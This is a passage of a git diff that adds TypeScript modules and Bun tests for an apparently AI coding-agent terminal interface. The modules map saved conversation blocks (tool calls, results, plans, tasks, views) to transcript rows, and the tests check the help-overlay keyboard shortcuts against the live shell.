+ }) + + test("tool_call uses content or arguments", () => { + expect( + rowFromHistoryBlock({ + type: "tool_call", + name: "grep", + content: "pattern x", + }), + ).toEqual({ + role: "tool", + text: "pattern x", + meta: "grep", + verb: "Grep", + summary: "pattern x", + pending: true, + callKey: "grep Grep pattern x", + }) + expect( + rowFromHistoryBlock({ + type: "tool_call", + name: "read_file", + arguments: '{"path":"a.ts"}', + }), + ).toMatchObject({ + role: "tool", + text: '{"path":"a.ts"}', + meta: "read_file", + summary: "a.ts", + }) + expect(rowFromHistoryBlock({ type: "tool_call" })).toEqual({ + role: "tool", + text: "…", + meta: "tool", + pending: true, + callKey: "tool ", + }) + }) + + test("tool_result success and error", () => { + expect( + rowFromHistoryBlock({ + type: "tool_result", + name: "bash", + content: "ok", + isError: false, + }), + ).toEqual({ role: "tool", text: "ok", meta: "bash" }) + expect( + rowFromHistoryBlock({ + type: "tool_result", + name: "bash", + isError: true, + }), + ).toEqual({ role: "tool", text: "error", meta: "bash", failed: true }) + }) + + test("error and unknown", () => { + expect( + rowFromHistoryBlock({ type: "error", message: "boom" }), + ).toEqual({ role: "system", text: "boom", meta: "error" }) + // A resumed error with no recorded message says so, rather than sitting + // in the transcript as the bare word "error". + expect(rowFromHistoryBlock({ type: "error" })).toEqual({ + role: "system", + text: MISSING_ERROR_DETAIL, + meta: "error", + }) + expect(MISSING_ERROR_DETAIL).toBe( + "this step failed and the details were not saved", + ) + expect(rowFromHistoryBlock({ type: "who-knows" })).toBeNull() + }) + + test("view hydrates as an assistant row carrying the view text", () => { + const row = rowFromHistoryBlock({ + type: "view", + node: { + type: "stack", + children: [ + { type: "text", text: "Deploy summary" }, + { type: "text", text: "3 services updated" }, + ], + }, + }) + expect(row?.role).toBe("assistant") + expect(row?.markdown).toBe(false) + expect(row?.text).toContain("Deploy summary") + expect(row?.text).toContain("3 services updated") + }) + + test("view with no paintable tree still says something", () => { + expect(rowFromHistoryBlock({ type: "view" })).toEqual({ + role: "assistant", + text: EMPTY_VIEW_DETAIL, + markdown: false, + }) + expect(rowFromHistoryBlock({ type: "view", node: { type: "bogus" } })).toEqual({ + role: "assistant", + text: EMPTY_VIEW_DETAIL, + markdown: false, + }) + }) + + test("plan hydrates as a system row listing its steps", () => { + expect( + rowFromHistoryBlock({ + type: "plan", + steps: [ + { file: "src/a.ts", action: "edit", reason: "wire the gate" }, + { file: "src/b.ts", action: "create" }, + ], + }), + ).toEqual({ + role: "system", + text: "- edit src/a.ts — wire the gate\n- create src/b.ts", + meta: "plan", + }) + expect(rowFromHistoryBlock({ type: "plan", steps: [] })).toEqual({ + role: "system", + text: EMPTY_PLAN_DETAIL, + meta: "plan", + }) + }) + + test("tasks hydrates as a system row listing task titles", () => { + expect( + rowFromHistoryBlock({ + type: "tasks", + tasks: [ + { id: "1", title: "Fix hydrate", status: "done" }, + { id: "2", title: "Ship it", status: "todo" }, + ], + }), + ).toEqual({ + role: "system", + text: "- Fix hydrate (done)\n- Ship it (todo)", + meta: "tasks", + }) + expect(rowFromHistoryBlock({ type: "tasks" })).toEqual({ + role: "system", + text: EMPTY_TASKS_DETAIL, + meta: "tasks", + }) + }) +}) + +describe("hydrateHistoryRows", () => { + test("maps block array and skips junk", () => { + const rows = hydrateHistoryRows([ + { type: "user", content: "parent user", id: "u1" }, + null, + "skip", + { type: "text", content: "assistant line" }, + { type: "tasks", tasks: [] }, + { + type: "tool_call", + name: "read_file", + arguments: '{"path":"x"}', + }, + { + type: "tool_result", + name: "read_file", + content: "body", + isError: false, + }, + { type: "error", message: "fail" }, + ]) + // The call and its result hydrate as the one row a live turn would paint. + expect(rows).toMatchObject([ + { role: "user", text: "parent user" }, + { role: "assistant", text: "assistant line" }, + { role: "system", text: EMPTY_TASKS_DETAIL, meta: "tasks" }, + { role: "tool", text: "body", meta: "read_file", summary: "x", verb: "Read" }, + { role: "system", text: "fail", meta: "error" }, + ]) + }) + + test("non-array returns empty", () => { + expect(hydrateHistoryRows(undefined)).toEqual([]) + expect(hydrateHistoryRows(null)).toEqual([]) + expect(hydrateHistoryRows({ type: "user" })).toEqual([]) + }) + + test("rowsFromHistoryBlocks is typed convenience", () => { + expect( + rowsFromHistoryBlocks([ + { type: "user", content: "a" }, + { type: "reply", content: "b" }, + ]), + ).toEqual([ + { role: "user", text: "a" }, + { role: "assistant", text: "b" }, + ]) + }) +}) diff --git a/src/tui-opentui/history-hydrate.ts b/src/tui-opentui/history-hydrate.ts new file mode 100644 index 000000000..456f6c995 --- /dev/null +++ b/src/tui-opentui/history-hydrate.ts @@ -0,0 +1,240 @@ +/** + * Pure history hydrate — content blocks / turns → StreamRow[]. + * + * Mirrors product-host `rowFromHistoryBlock` so resume / history.hydrate can + * paint without a renderer. No OpenTUI or Ink deps. + */ + +import { validateView, viewToLines } from "../tui/view/index.js" +import { toolCallRow } from "./diff.js" +import { toolResultRow } from "./mcp-view.js" +import type { StreamRow } from "./stream.js" +import { TOOL_DETAIL_WIDTH } from "./tool-args.js" +import { pushToolCall, pushToolResult } from "./tool-rows.js" + +/** + * Loose content-block shape from `history.hydrate` / turns-to-blocks. + * Matches product-host; extra fields (id, callId, arguments) are tolerated. + */ +export type HistoryBlock = { + readonly type: string + readonly content?: string + readonly name?: string + readonly message?: string + readonly isError?: boolean + /** tool_call argument payload when `content` is absent (ContentBlockData). */ + readonly arguments?: string + /** view block payload — validated before it reaches the layout pass. */ + readonly node?: unknown + /** plan block payload. */ + readonly steps?: unknown + /** tasks block payload. */ + readonly tasks?: unknown +} + +/** Body for a resumed error the transcript recorded without its message. */ +export const MISSING_ERROR_DETAIL = "this step failed and the details were not saved" + +/** Bodies for blocks that survived to hydration carrying nothing paintable. */ +export const EMPTY_VIEW_DETAIL = "this reply was a view with no text" +export const EMPTY_PLAN_DETAIL = "plan with no steps" +export const EMPTY_TASKS_DETAIL = "task list with no tasks" + +function asHistoryBlock(raw: unknown): HistoryBlock | null { + if (raw === null || typeof raw !== "object") return null + const o = raw as Record + if (typeof o.type !== "string") return null + const out: { + type: string + content?: string + name?: string + message?: string + isError?: boolean + arguments?: string + node?: unknown + steps?: unknown + tasks?: unknown + } = { type: o.type } + if (typeof o.content === "string") out.content = o.content + if (typeof o.name === "string") out.name = o.name + if (typeof o.message === "string") out.message = o.message + if (typeof o.isError === "boolean") out.isError = o.isError + if (typeof o.arguments === "string") out.arguments = o.arguments + if (o.node !== undefined) out.node = o.node + if (o.steps !== undefined) out.steps = o.steps + if (o.tasks !== undefined) out.tasks = o.tasks + return out as HistoryBlock +} + +/** + * A view tree as plain transcript text. Full view rendering (borders, grid + * alignment, tone) is not part of hydration; the layout pass is reused only to + * recover the words, because a resumed reply that was a view must not vanish. + */ +function viewText(node: unknown): string { + const result = validateView(node) + if (!result.ok) return "" + return viewToLines(result.node, TOOL_DETAIL_WIDTH) + .map((line) => line.map((segment) => segment.text).join("").trimEnd()) + .join("\n") + .trim() +} + +function planText(steps: unknown): string { + if (!Array.isArray(steps)) return "" + const lines: string[] = [] + for (const raw of steps) { + if (raw === null || typeof raw !== "object") continue + const step = raw as Record + const file = typeof step.file === "string" ? step.file : "" + const action = typeof step.action === "string" ? step.action : "" + const reason = typeof step.reason === "string" ? step.reason : "" + const head = [action, file].filter((part) => part.length > 0).join(" ") + const text = reason.length > 0 ? `${head} — ${reason}` : head + if (text.length > 0) lines.push(`- ${text}`) + } + return lines.join("\n") +} + +function tasksText(tasks: unknown): string { + if (!Array.isArray(tasks)) return "" + const lines: string[] = [] + for (const raw of tasks) { + if (raw === null || typeof raw !== "object") continue + const task = raw as Record + const title = typeof task.title === "string" ? task.title : "" + if (title.length === 0) continue + const status = typeof task.status === "string" ? task.status : "" + lines.push(status.length > 0 ? `- ${title} (${status})` : `- ${title}`) + } + return lines.join("\n") +} + +/** + * Map one content block to a transcript row, or null when the block type is + * unknown. + * + * view / plan / tasks get a degraded text row rather than being dropped: a + * resumed session that answered through a view would otherwise paint the + * question and nothing else, with no marker that anything was lost. + * + * tool_call also accepts `arguments` when `content` is missing (live + * ContentBlockData shape). + */ +export function rowFromHistoryBlock(block: HistoryBlock): StreamRow | null { + switch (block.type) { + case "user": + return { role: "user", text: block.content ?? "" } + case "text": + case "reply": + return { role: "assistant", text: block.content ?? "" } + case "thinking": + return { role: "system", text: block.content ?? "", meta: "thinking" } + case "tool_call": { + const args = callArguments(block) + return toolCallRow({ + name: block.name ?? "tool", + ...(args !== undefined ? { arguments: args } : {}), + }) + } + case "tool_result": + return toolResultRow({ + name: block.name ?? "tool", + content: block.content ?? (block.isError ? "error" : "ok"), + isError: block.isError === true, + }) + case "view": { + const text = viewText(block.node) || block.content?.trim() || "" + return { + role: "assistant", + text: text.length > 0 ? text : EMPTY_VIEW_DETAIL, + markdown: false, + } + } + case "plan": { + const text = planText(block.steps) + return { + role: "system", + text: text.length > 0 ? text : EMPTY_PLAN_DETAIL, + meta: "plan", + } + } + case "tasks": { + const text = tasksText(block.tasks) + return { + role: "system", + text: text.length > 0 ? text : EMPTY_TASKS_DETAIL, + meta: "tasks", + } + } + case "error": + return { + role: "system", + text: block.message ?? MISSING_ERROR_DETAIL, + meta: "error", + } + default: + return null + } +} + +/** + * Map a `history.hydrate` payload (array of content blocks) to StreamRow[]. + * Skips non-objects and unpaintable block types. + */ +export function hydrateHistoryRows(blocks: unknown): StreamRow[] { + if (!Array.isArray(blocks)) return [] + const rows: StreamRow[] = [] + for (const raw of blocks) { + const block = asHistoryBlock(raw) + if (block) pushHistoryBlock(rows, block) + } + return rows +} + +/** Argument payload of a tool_call block, wherever the block carries it. */ +function callArguments(block: HistoryBlock): string | undefined { + if (block.content !== undefined) return block.content + return block.arguments !== undefined && block.arguments.length > 0 + ? block.arguments + : undefined +} + +/** + * Fold one block onto a row list. Tool blocks are not one row each: a call and + * the result answering it share a row, and a repeated call collapses onto the + * row it repeats — the same shape a live turn paints. + */ +function pushHistoryBlock(rows: StreamRow[], block: HistoryBlock): void { + if (block.type === "tool_call") { + const args = callArguments(block) + pushToolCall(rows, { + name: block.name ?? "tool", + ...(args !== undefined ? { arguments: args } : {}), + }) + return + } + if (block.type === "tool_result") { + pushToolResult(rows, { + name: block.name ?? "tool", + content: block.content ?? (block.isError ? "error" : "ok"), + isError: block.isError === true, + }) + return + } + const row = rowFromHistoryBlock(block) + if (row) rows.push(row) +} + +/** + * Convenience: map an already-typed block list (e.g. from turns-to-blocks). + */ +export function rowsFromHistoryBlocks( + blocks: readonly HistoryBlock[], +): StreamRow[] { + const rows: StreamRow[] = [] + for (const block of blocks) { + pushHistoryBlock(rows, block) + } + return rows +} diff --git a/src/tui-opentui/index.ts b/src/tui-opentui/index.ts new file mode 100644 index 000000000..3152f52b7 --- /dev/null +++ b/src/tui-opentui/index.ts @@ -0,0 +1,45 @@ +/** OpenTUI platform kit — not wired to the CLI entry yet. */ +export const PLATFORM_VERSION = "0.5.1" as const + +export * from "./geometry/index" +export * from "./focus/index" +export * from "./list-viewport" +export * from "./session-queue" +export * from "./stream" +export * from "./stream-event-map" +export { + attachSessionBridge, + createRecordingPort, + FIXTURE_BUSY_SESSION, + mapReactorLike, + type PortCall, + type SessionBridge, + type SessionPort, + type SessionPortHandlers, +} from "./runtime-bridge" +export * from "./live-session-port" +export * from "./overlays" +export * from "./long-log" +export * from "./palette" +export * from "./command-catalog" +export * from "./model-catalog" +export * from "./copy-path" +export * from "./chrome-state" +export * from "./residuals" +export * from "./gate-wire" +export * from "./landing" +export * from "./mark-anim" +export * from "./mark-shape" +export * from "./shell" +export * from "./harness" +export { + mountProductHost, + operatorResultFromSelection, + permissionChoices, + type ProductHost, + type ProductHostConfig, + type ProductHostDeliver, + type ProductHostInterrupt, + type ProductHostModelOption, + type ProductHostSend, +} from "./product-host" diff --git a/src/tui-opentui/keybindings.test.ts b/src/tui-opentui/keybindings.test.ts new file mode 100644 index 000000000..d976a9c9e --- /dev/null +++ b/src/tui-opentui/keybindings.test.ts @@ -0,0 +1,672 @@ +/** + * The help catalog, checked against real behavior. + * + * Every row in `SHELL_SHORTCUTS` is looked up here by its own `keys` string and + * driven as the bytes that string denotes: rename a chord and the lookup fails, + * change a chord and the probe presses the new one against the old assertion. + * A catalog row with no probe fails the coverage test outright, so a new row + * cannot be added without someone proving it works. + * + * What this does not check: which description sits on which row. Swapping two + * descriptions between rows would pass. Everything else — the chord, its + * modifiers, the stated condition, and whether the host shadows the prompt's + * own binding — is asserted against a live shell. + */ + +import { EventEmitter } from "node:events" +import { describe, expect, test } from "bun:test" + +import { PROMPT_KEY_BINDINGS } from "./prompt-input.js" +import { SHELL_SHORTCUTS, shortcutForPaletteId } from "./keybindings.js" +import { isResidualActionId } from "./palette.js" +import { listCommands } from "../tui/commands/registry.js" +import { registerBuiltInCommands } from "../tui/commands/built-in.js" +import { createHarness, withTestRenderer, type Harness } from "./harness.js" +import { mountRunnerHost } from "./runner-host.js" +import { focusOwner } from "./focus/focus-state.js" +import { + appendStreamRow, + createAppShell, + isSlashPopupOpen, + setMentionSuggestionSource, + setPaletteCatalog, + setPromptImageSource, + setSentMessageHistory, + setShellBridgeHooks, + setShellExitHandler, + setShellRunState, + shellFocusPrompt, + shellFocusTranscript, + streamRowAt, + type AppShell, +} from "./shell.js" + +/* --------------------------------------------------------------------- */ +/* Chord string → the bytes a terminal actually writes */ +/* --------------------------------------------------------------------- */ + +const NAMED_SEQUENCES: Readonly> = { + Enter: "\r", + Tab: "\t", + Esc: "\x1b", + Up: "\x1b[A", + Down: "\x1b[B", + Left: "\x1b[D", + Right: "\x1b[C", +} + +/** + * Bytes for one chord, or null when no terminal can encode it without the + * kitty keyboard protocol (Ctrl+Enter is the only such chord in the catalog). + */ +function chordBytes(token: string): string | null { + const named = NAMED_SEQUENCES[token] + if (named !== undefined) return named + + const ctrl = /^Ctrl\+(.)$/.exec(token) + if (ctrl?.[1] !== undefined) { + const letter = ctrl[1].toLowerCase() + if (letter < "a" || letter > "z") return null + return String.fromCharCode(letter.charCodeAt(0) - 96) + } + + const alt = /^Alt\+(.+)$/.exec(token) + if (alt?.[1] !== undefined) { + const rest = alt[1] + const inner = NAMED_SEQUENCES[rest] ?? (rest.length === 1 ? rest.toLowerCase() : null) + return inner === null ? null : `\x1b${inner}` + } + + if (token === "Ctrl+Enter") return null + if (token.length === 1) return token + return null +} + +/** Every chord a catalog row advertises, in the order the row lists them. */ +function chordsOf(keys: string): readonly (string | null)[] { + if (keys === "Arrow keys") { + return ["Left", "Right", "Up", "Down"].map((k) => chordBytes(k)) + } + return keys.split(" / ").map((token) => { + const bytes = chordBytes(token.trim()) + // A token nothing can encode and that is not the known kitty-only chord is + // a typo in the catalog, not an untestable chord. + if (bytes === null && token.trim() !== "Ctrl+Enter") { + throw new Error(`catalog row "${keys}" has unreadable chord "${token.trim()}"`) + } + return bytes + }) +} + +/* --------------------------------------------------------------------- */ +/* Probes */ +/* --------------------------------------------------------------------- */ + +type ProbeContext = { + readonly h: Harness + readonly shell: AppShell + /** Bytes for each chord the row advertises; null = kitty-only. */ + readonly chords: readonly (string | null)[] + /** Whether the host has torn down. Supplied only on a mounted host. */ + readonly hasExited?: () => boolean +} + +type Probe = (ctx: ProbeContext) => Promise | void + +type Group = "editing" | "surfaces" | "session" | "host" + +const PROBES: Readonly> = { + "Ctrl+B / Ctrl+F": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "abc" + shell.prompt.cursorOffset = 3 + press(h, chords[0]) + expect(shell.prompt.cursorOffset).toBe(2) + press(h, chords[1]) + expect(shell.prompt.cursorOffset).toBe(3) + }, + }, + "Alt+B / Alt+F": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "one two" + shell.prompt.cursorOffset = 7 + press(h, chords[0]) + expect(shell.prompt.cursorOffset).toBe(4) + press(h, chords[1]) + expect(shell.prompt.cursorOffset).toBe(7) + }, + }, + "Arrow keys": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "ab\ncd" + shell.prompt.cursorOffset = 5 + press(h, chords[0]) + expect(shell.prompt.cursorOffset).toBe(4) + press(h, chords[1]) + expect(shell.prompt.cursorOffset).toBe(5) + press(h, chords[2]) + expect(shell.prompt.cursorOffset).toBe(2) + press(h, chords[3]) + expect(shell.prompt.cursorOffset).toBe(5) + }, + }, + "Ctrl+K": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "hello world" + shell.prompt.cursorOffset = 5 + press(h, chords[0]) + expect(shell.prompt.value).toBe("hello") + }, + }, + "Ctrl+U": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "hello world" + shell.prompt.cursorOffset = 6 + press(h, chords[0]) + expect(shell.prompt.value).toBe("world") + }, + }, + "Ctrl+W": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "foo bar" + shell.prompt.cursorOffset = 7 + press(h, chords[0]) + expect(shell.prompt.value).toBe("foo ") + }, + }, + "Alt+D": { + group: "editing", + probe: ({ h, shell, chords }) => { + shell.prompt.value = "foo bar" + shell.prompt.cursorOffset = 0 + press(h, chords[0]) + expect(shell.prompt.value).toBe("bar") + }, + }, + "Ctrl+Y": { + group: "editing", + probe: ({ h, shell, chords }) => { + breakKillSequence(h) + shell.prompt.value = "kill me" + shell.prompt.cursorOffset = 0 + press(h, "\x0b") // Ctrl+K fills the kill ring + expect(shell.prompt.value).toBe("") + press(h, chords[0]) + expect(shell.prompt.value).toBe("kill me") + }, + }, + "Alt+Y": { + group: "editing", + probe: ({ h, shell, chords }) => { + breakKillSequence(h) + shell.prompt.value = "older" + shell.prompt.cursorOffset = 0 + press(h, "\x0b") + breakKillSequence(h) + shell.prompt.value = "newer" + shell.prompt.cursorOffset = 0 + press(h, "\x0b") + press(h, "\x19") // Ctrl+Y yanks the newest kill + expect(shell.prompt.value).toBe("newer") + press(h, chords[0]) + expect(shell.prompt.value).toBe("older") + }, + }, + "Ctrl+V / Ctrl+P": { + group: "editing", + probe: async ({ h, shell, chords }) => { + for (const [index, chord] of chords.entries()) { + const attached = attachOnNextPrompt(shell, `clip-${index}`) + press(h, chord) + await attached + } + expect(shell.pendingAttachments).toHaveLength(chords.length) + shell.pendingAttachments = [] + }, + }, + "Up / Down": { + group: "editing", + probe: ({ h, shell, chords }) => { + setSentMessageHistory(shell, ["older", "newer"]) + shell.prompt.value = "" + press(h, chords[0]) + expect(shell.prompt.value).toBe("newer") + press(h, chords[1]) + expect(shell.prompt.value).toBe("") + }, + }, + "Ctrl+Enter / Ctrl+J": { + group: "editing", + probe: ({ h, shell, chords }) => { + for (const chord of chords) { + if (chord === null) { + // No byte sequence exists outside kitty, so the claim is checked + // against the binding table the widget is actually built with. + expect(PROMPT_KEY_BINDINGS).toContainEqual({ + name: "return", + ctrl: true, + action: "newline", + }) + continue + } + shell.prompt.value = "line" + shell.prompt.cursorOffset = 4 + press(h, chord) + expect(shell.prompt.value).toBe("line\n") + } + // The parenthetical in the row's description, held to the same standard. + expect(PROMPT_KEY_BINDINGS).toContainEqual({ + name: "return", + shift: true, + action: "newline", + }) + }, + }, + + "Ctrl+O": { + group: "surfaces", + probe: ({ h, shell, chords }) => { + press(h, chords[0]) + expect(shell.overlayKind).toBe("palette") + press(h, chords[0]) + expect(shell.overlayKind).toBeNull() + }, + }, + "Alt+C": { + group: "surfaces", + probe: ({ h, shell, chords }) => { + appendStreamRow(shell, { role: "assistant", text: "copy this" }) + press(h, chords[0]) + expect(shell.overlayKind).toBe("copy") + press(h, chords[0]) + expect(shell.overlayKind).toBeNull() + }, + }, + "Alt+M": { + group: "surfaces", + probe: ({ h, shell, chords }) => { + let captured = false + shell.mouseCapture = { + get: () => captured, + set: (enabled) => { + captured = enabled + }, + } + press(h, chords[0]) + expect(captured).toBe(true) + press(h, chords[0]) + expect(captured).toBe(false) + shell.mouseCapture = null + }, + }, + "Alt+E": { + group: "surfaces", + probe: ({ h, shell, chords }) => { + const at = shell.streamLog.length + const body = [[{ text: "detail", fg: "#ffffff" }]] + appendStreamRow(shell, { role: "tool", text: "a", summary: "sa", detail: body }) + appendStreamRow(shell, { role: "tool", text: "b", summary: "sb", detail: body }) + press(h, chords[0]) + // Bulk, not newest-only: both rows move together. + expect(streamRowAt(shell, at)?.expanded).toBe(true) + expect(streamRowAt(shell, at + 1)?.expanded).toBe(true) + press(h, chords[0]) + expect(streamRowAt(shell, at)?.expanded).toBe(false) + expect(streamRowAt(shell, at + 1)?.expanded).toBe(false) + }, + }, + Tab: { + group: "surfaces", + probe: ({ h, shell, chords }) => { + shellFocusPrompt(shell) + press(h, chords[0]) + expect(focusOwner(shell.focus)).toBe("transcript") + press(h, chords[0]) + expect(focusOwner(shell.focus)).toBe("prompt") + }, + }, + Esc: { + group: "surfaces", + probe: async ({ h, shell, chords }) => { + press(h, "\x0f") // Ctrl+O opens something to close + expect(shell.overlayKind).toBe("palette") + press(h, chords[0]) + await escapeSettles() + expect(shell.overlayKind).toBeNull() + }, + }, + "?": { + group: "surfaces", + probe: ({ h, shell, chords }) => { + shellFocusPrompt(shell) + shell.prompt.value = "" + press(h, chords[0]) + // The condition, not just the chord: at the prompt it is a character. + expect(shell.overlayKind).toBeNull() + + shellFocusTranscript(shell) + press(h, chords[0]) + expect(shell.overlayKind).toBe("help") + press(h, chords[0]) + expect(shell.overlayKind).toBeNull() + shellFocusPrompt(shell) + shell.prompt.value = "" + }, + }, + "@": { + group: "surfaces", + probe: async ({ h, shell, chords }) => { + setMentionSuggestionSource(shell, async () => ["src/", "README.md"]) + shellFocusPrompt(shell) + + shell.prompt.value = "mid" + shell.prompt.cursorOffset = 3 + press(h, chords[0]) + await settle(h) + expect(shell.overlayKind).toBeNull() + + shell.prompt.value = "" + shell.prompt.cursorOffset = 0 + press(h, chords[0]) + await settle(h) + expect(shell.overlayKind).toBe("mentions") + press(h, "\x1b") + await escapeSettles() + shell.prompt.value = "" + }, + }, + "/": { + group: "surfaces", + probe: async ({ h, shell, chords }) => { + setPaletteCatalog(shell, [{ id: "cost", label: "cost", dispatch: "command" }]) + shellFocusPrompt(shell) + + shell.prompt.value = "note" + shell.prompt.cursorOffset = 4 + press(h, chords[0]) + expect(isSlashPopupOpen(shell)).toBe(false) + + shell.prompt.value = "" + shell.prompt.cursorOffset = 0 + press(h, chords[0]) + expect(isSlashPopupOpen(shell)).toBe(true) + press(h, "\x1b") + await escapeSettles() + shell.prompt.value = "" + }, + }, + + Enter: { + group: "session", + probe: ({ h, shell, chords }) => { + const sent = recordSubmits(shell) + setShellRunState(shell, "idle") + shell.prompt.value = "ship it" + press(h, chords[0]) + expect(sent).toEqual([{ text: "ship it", kind: "immediate" }]) + }, + }, + "Alt+Enter": { + group: "session", + probe: ({ h, shell, chords }) => { + const sent = recordSubmits(shell) + setShellRunState(shell, "idle") + shell.prompt.value = "not yet" + press(h, chords[0]) + // The stated condition: idle, Alt+Enter does nothing at all. + expect(sent).toEqual([]) + expect(shell.prompt.value).toBe("not yet") + + setShellRunState(shell, "busy") + press(h, chords[0]) + expect(sent).toEqual([{ text: "not yet", kind: "steer" }]) + setShellRunState(shell, "idle") + }, + }, + "Ctrl+C": { + group: "session", + probe: ({ h, shell, chords }) => { + let interrupted = 0 + let exited = 0 + setShellBridgeHooks(shell, { + onSubmit: () => {}, + onInterrupt: () => { + interrupted++ + }, + exclusive: true, + }) + setShellExitHandler(shell, () => { + exited++ + }) + setShellRunState(shell, "busy") + press(h, chords[0]) + expect(interrupted).toBe(1) + expect(exited).toBe(0) + press(h, chords[0]) + expect(exited).toBe(1) + setShellRunState(shell, "idle") + }, + }, + + "Ctrl+D": { + group: "host", + probe: async ({ h, shell, chords, hasExited }) => { + if (hasExited === undefined) throw new Error("Ctrl+D must be probed on a mounted host") + shellFocusPrompt(shell) + + shell.prompt.value = "abc" + shell.prompt.cursorOffset = 0 + press(h, chords[0]) + expect(shell.prompt.value).toBe("bc") + expect(hasExited()).toBe(false) + + shell.prompt.value = "" + press(h, chords[0]) + await settle(h) + expect(hasExited()).toBe(true) + }, + }, +} + +/* --------------------------------------------------------------------- */ +/* Helpers */ +/* --------------------------------------------------------------------- */ + +/** + * Consecutive kills append to one ring entry, so a probe that wants a fresh + * entry presses a non-kill chord first (Ctrl+B, cursor motion only). + */ +function breakKillSequence(h: Harness): void { + press(h, "\x02") +} + +function press(h: Harness, bytes: string | null | undefined): void { + if (bytes === null || bytes === undefined) throw new Error("no bytes to press") + h.mockInput.pressKey(bytes) +} + +/** + * A lone ESC byte is ambiguous until the terminal proves nothing follows it, so + * the parser holds it briefly before emitting the key. + */ +function escapeSettles(): Promise { + return new Promise((resolve) => setTimeout(resolve, 80)) +} + +/** Let a keypress that kicks off async work (mention query) reach the shell. */ +async function settle(h: Harness): Promise { + await h.renderOnce() + await new Promise((resolve) => setTimeout(resolve, 0)) + await h.renderOnce() +} + +function attachOnNextPrompt(shell: AppShell, id: string): Promise { + let done: () => void = () => {} + const attached = new Promise((resolve) => { + done = resolve + }) + setPromptImageSource(shell, async () => { + queueMicrotask(done) + return { + ok: true, + attachment: { + id, + name: `${id}.png`, + contentType: "image/png", + data: new Uint8Array([137, 80, 78, 71]), + }, + } + }) + return attached +} + +function recordSubmits( + shell: AppShell, +): Array<{ readonly text: string; readonly kind: string }> { + const sent: Array<{ text: string; kind: string }> = [] + setShellBridgeHooks(shell, { + onSubmit: (text, kind) => sent.push({ text, kind }), + onInterrupt: () => {}, + exclusive: true, + }) + return sent +} + +function rowsIn(group: Group): readonly { keys: string; probe: Probe }[] { + return SHELL_SHORTCUTS.flatMap((row) => { + const entry = PROBES[row.keys] + return entry !== undefined && entry.group === group + ? [{ keys: row.keys, probe: entry.probe }] + : [] + }) +} + +/** Run every probe in a group against one shell, so one renderer covers many rows. */ +async function runGroup(group: Group): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + }) + try { + for (const { keys, probe } of rowsIn(group)) { + shell.prompt.value = "" + await probe({ h, shell, chords: chordsOf(keys) }) + } + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) +} + +/* --------------------------------------------------------------------- */ +/* Tests */ +/* --------------------------------------------------------------------- */ + +describe("every catalog row is driven against real behavior", () => { + test("no row is left without a probe", () => { + const missing = SHELL_SHORTCUTS.filter((row) => PROBES[row.keys] === undefined).map( + (row) => row.keys, + ) + expect(missing).toEqual([]) + }) + + test("no probe describes a chord the catalog no longer lists", () => { + const listed = new Set(SHELL_SHORTCUTS.map((row) => row.keys)) + expect(Object.keys(PROBES).filter((keys) => !listed.has(keys))).toEqual([]) + }) + + test("prompt editing chords", async () => { + await runGroup("editing") + }) + + test("overlay and focus chords", async () => { + await runGroup("surfaces") + }) + + test("send, steer and interrupt chords", async () => { + await runGroup("session") + }) +}) + +/** + * The Ctrl+D failure in general form: the runner host installs a key listener + * of its own, so a row describing the prompt's default behavior is only true if + * the host leaves that byte alone. Driven on a real mount, not a bare shell. + */ +describe("the runner host does not shadow the prompt bindings the catalog claims", () => { + const PROMPT_DEFAULT_ROWS = ["Ctrl+B / Ctrl+F", "Alt+B / Alt+F", "Arrow keys"] as const + + test("prompt defaults survive the host, and Ctrl+D quits", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost({ + title: "keybindings", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: {}, + onModelSelect: () => {}, + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + }) + let exited = false + void host.waitUntilExit().then(() => { + exited = true + }) + try { + for (const keys of PROMPT_DEFAULT_ROWS) { + const entry = PROBES[keys] + if (entry === undefined) throw new Error(`no probe for ${keys}`) + await entry.probe({ h: harness, shell: host.shell, chords: chordsOf(keys) }) + } + // Last: it tears the host down. + const quit = PROBES["Ctrl+D"] + if (quit === undefined) throw new Error("no probe for Ctrl+D") + await quit.probe({ + h: harness, + shell: host.shell, + chords: chordsOf("Ctrl+D"), + hasExited: () => exited, + }) + } finally { + host.dispose() + harness.destroy() + } + }) +}) + +describe("palette chords", () => { + test("every mapped entry id is a real palette action or registered command", () => { + registerBuiltInCommands() + const commands = new Set(listCommands().map((c) => c.name)) + for (const id of PALETTE_IDS) { + expect(isResidualActionId(id) || commands.has(id)).toBe(true) + } + }) + + test("every mapped chord is a chord the catalog proved", () => { + for (const id of PALETTE_IDS) { + expect(shortcutForPaletteId(id)).toBeString() + } + }) +}) + +/** + * PALETTE_CHORDS is private, so the ids it maps are listed here. A new mapping + * without an entry here is caught by the palette test in wave7, which walks the + * painted rows. + */ +const PALETTE_IDS = ["help", "mentions", "copy_active", "toggle_mouse", "paste-image"] as const diff --git a/src/tui-opentui/keybindings.ts b/src/tui-opentui/keybindings.ts new file mode 100644 index 000000000..8d6d712ce --- /dev/null +++ b/src/tui-opentui/keybindings.ts @@ -0,0 +1,75 @@ +/** + * OpenTUI shell keybinding catalog (pure data). + * + * This is the source of truth for the help overlay — every row here must + * match a real, currently-working chord: either a handler in + * src/tui-opentui/shell.ts's `onKey`/`onEnter` listeners, or a default + * binding of the prompt's InputRenderable (see `defaultTextareaKeyBindings` + * in @opentui/core — Ctrl+B/F/D, Alt+B/F, and arrow motion come from there, + * not from shell.ts). Do not hand-transcribe from docs. + * + * The comment alone did not hold: two rows drifted into describing behavior the + * shell never had. `keybindings.test.ts` now drives every row's own chord + * through a live shell and asserts the effect it claims, so a row that stops + * being true fails rather than being read by an operator. + */ + +export type ShellShortcut = { + readonly keys: string + readonly description: string +} + +export const SHELL_SHORTCUTS: readonly ShellShortcut[] = [ + { keys: "Enter", 